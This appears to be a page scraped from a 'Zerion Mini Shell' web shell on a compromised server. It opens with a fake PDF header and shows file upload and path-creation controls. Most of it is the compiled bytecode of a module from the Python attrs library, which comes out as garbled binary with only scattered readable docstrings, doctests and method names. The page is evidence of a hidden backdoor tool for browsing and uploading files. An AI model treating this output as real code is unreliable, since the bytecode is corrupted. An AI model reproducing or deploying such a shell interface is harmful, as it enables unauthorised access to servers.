%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/attr/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/attr/__pycache__/_version_info.cpython-312.pyc

�

��eI��h�ddlmZddlmZddlmZmZeedddd��Gd�d	���Zy
)�)�total_ordering�)�astuple)�attrib�attrsFT)�eq�order�slots�frozenc�z�eZdZdZee��Zee��Zee��Zee	��Z
ed��Zd�Z
d�Zd�Zy)�VersionInfoa�
    A version object that can be compared to tuple of length 1--4:

    >>> attr.VersionInfo(19, 1, 0, "final")  <= (19, 2)
    True
    >>> attr.VersionInfo(19, 1, 0, "final") < (19, 1, 1)
    True
    >>> vi = attr.VersionInfo(19, 2, 0, "final")
    >>> vi < (19, 1, 1)
    False
    >>> vi < (19,)
    False
    >>> vi == (19, 2,)
    True
    >>> vi == (19, 2, 1)
    False

    .. versionadded:: 19.2
    )�typec���|jd�}t|�dk(r|jd�|t|d�t|d�t|d�|d��S)z6
        Parse *s* and return a _VersionInfo.
        �.��finalrr�)�year�minor�micro�releaselevel)�split�len�append�int)�cls�s�vs   �4/usr/lib/python3/dist-packages/attr/_version_info.py�_from_version_stringz VersionInfo._from_version_string&sZ��

�G�G�C�L���q�6�Q�;�
�H�H�W����Q�q�T��#�a��d�)�3�q��t�9�1�Q�4�
�	
�c���|j|jurt|�}t|t�st�dt|�cxkr
dks
t�t�t|�dt|�|fS)z�
        Ensure *other* is a tuple of a valid length.

        Returns a possibly transformed *other* and ourselves as a tuple of
        the same length as *other*.
        r�N)�	__class__r�
isinstance�tuple�NotImplementedErrorr)�self�others  r�
_ensure_tuplezVersionInfo._ensure_tuple3si���>�>�U�_�_�,��E�N�E��%��'�%�%��S��Z�$�1�$�%�%�%�%�%��t�}�\�s�5�z�*�E�1�1r!c�`�	|j|�\}}||k(S#t$r	tcYSwxYw�N�r*r'�NotImplemented�r(r)�us�thems    r�__eq__zVersionInfo.__eq__Fs>��	"��)�)�%�0�H�B���T�z���#�	"�!�!�	"����-�-c�`�	|j|�\}}||kS#t$r	tcYSwxYwr,r-r/s    r�__lt__zVersionInfo.__lt__Ns>��	"��)�)�%�0�H�B���D�y���#�	"�!�!�	"�r3N)�__name__�
__module__�__qualname__�__doc__rrrrr�strr�classmethodr r*r2r5�r!rr
r

sR���(�s��D����E����E��s�#�L��

��

�2�&�r!r
N)�	functoolsr�_funcsr�_makerrr
r<r!r�<module>r@s?��%�� ���%�u�D��6�J�J�7��Jr!

Zerion Mini Shell 1.0